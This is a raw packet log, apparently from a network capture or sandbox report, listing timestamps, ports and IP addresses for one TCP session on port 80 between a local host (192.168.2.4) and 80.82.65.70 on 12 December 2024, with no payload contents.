Dec 12, 2024 20:37:03.044081926 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.044189930 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.044286966 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.044362068 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.052494049 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.052558899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.052649021 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.052973986 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.060925007 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.060992002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.061110020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.061172009 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.069361925 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.069562912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.069642067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.076967955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.077038050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.077198029 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.077266932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.084666967 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.084758043 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.084785938 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.084847927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.125997066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.126094103 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.126177073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.126250982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.196974993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.197019100 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.197211981 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.197211981 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.198189974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.198256016 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.198359013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.198445082 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.203305960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.203381062 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.203480959 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.203541040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.208336115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.208398104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.208514929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.208576918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.213444948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.213502884 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.213589907 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.213634968 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.218532085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.218655109 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.218728065 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.218779087 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.223594904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.223654032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.223793983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.223849058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.228741884 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.228846073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.228899002 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.228951931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.233829975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.233907938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.234015942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.234077930 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.238904953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.238987923 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.239151955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.239212990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.243999958 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.244065046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.244158030 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.244219065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.249043941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.249113083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.249392033 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.249500990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.254209042 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.254273891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.254395008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.254462957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.259330034 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.259392023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.259475946 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.259577036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.262906075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.262964964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.263051033 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.263113022 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.266479969 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.266537905 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.266606092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.266665936 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.269917011 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.270025015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.270071983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.270131111 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.273498058 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.273555994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.273698092 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.273755074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.276940107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.276998997 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.277053118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.277162075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.280476093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.280577898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.280632019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.280689955 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.284054041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.284106970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.284229040 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.284293890 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.287575960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.287633896 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.287746906 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.287802935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.291078091 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.291177034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.291227102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.291285038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.317507982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.317704916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.317775965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.319380045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.320847988 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.389051914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.389144897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.389328003 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.390700102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.390772104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.390849113 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.390906096 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.393745899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.393804073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.394135952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.394197941 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.396960020 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.397017956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.397171974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.397228956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.400166035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.400226116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.400347948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.400468111 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.403450012 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.403507948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.403681040 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.403734922 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.406716108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.406965017 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.407022953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.410017014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.410080910 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.410209894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.410264015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.413223982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.413332939 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.413419962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.413470984 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.416568041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.416734934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.416805029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.419761896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.419882059 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.419975996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.420027971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.423108101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.423168898 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.423258066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.423316956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.426357031 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.426414013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.426496029 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.426548004 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.429610014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.429676056 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.429775000 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.429874897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.432856083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.433073997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.433134079 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.436264992 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.436376095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.436417103 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.436469078 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.439785957 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.440016985 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.440093994 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.443161964 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.443326950 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.443406105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.443475008 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.446230888 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.446300983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.446413994 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.446468115 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.447940111 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.447993040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.448117018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.448168993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.449596882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.449832916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.449909925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.451479912 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.451543093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.451603889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.451662064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.453227997 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.453282118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.453403950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.453458071 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.455126047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.455344915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.455414057 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.456998110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.457102060 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.457190037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.457312107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.459290028 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.459352970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.459405899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.459459066 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.460896969 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.461105108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.461174011 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.463002920 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.463063002 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.463268995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.463359118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.464783907 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.464962006 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.464962959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.465009928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.466465950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.466617107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.466670990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.466696978 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.468024015 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.468082905 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.468184948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.468246937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.469641924 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.469695091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.469808102 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.469860077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.471435070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.471640110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.471703053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.473172903 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.473237038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.473381042 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.473433971 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.474962950 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.475023031 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.475187063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.475239992 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.476835966 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.476890087 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.477106094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.477158070 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.478605986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.478666067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.478830099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.478884935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.480401039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.480458021 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.480598927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.480653048 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.482491016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.482558012 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.482721090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.482775927 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.484039068 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.484103918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.581080914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.581188917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.581310034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.581310034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.581806898 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.581861019 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.581959963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.582011938 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.583621979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.583678961 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.584280968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.584336996 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.584455967 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.584507942 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.586035013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.586090088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.586220026 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.586270094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.587882042 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.587939024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.588058949 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.588109970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.589724064 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.589778900 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.589910030 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.589962006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.591453075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.591553926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.591636896 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.591742039 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.593193054 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.593252897 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.593390942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.593450069 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.594995022 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.595051050 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.595240116 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.595292091 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.596873045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.596926928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.597021103 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.597071886 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.598572016 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.598629951 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.598788977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.598841906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.600564003 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.600620031 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.600703001 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.600760937 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.602193117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.602248907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.602426052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.602523088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.604013920 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.604068041 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.604218960 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.604273081 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.605690956 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.605746984 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.605942965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.605994940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.607527018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.607584953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.607722998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.607777119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.609625101 CET	80	49738	80.82.65.70	192.168.2.4
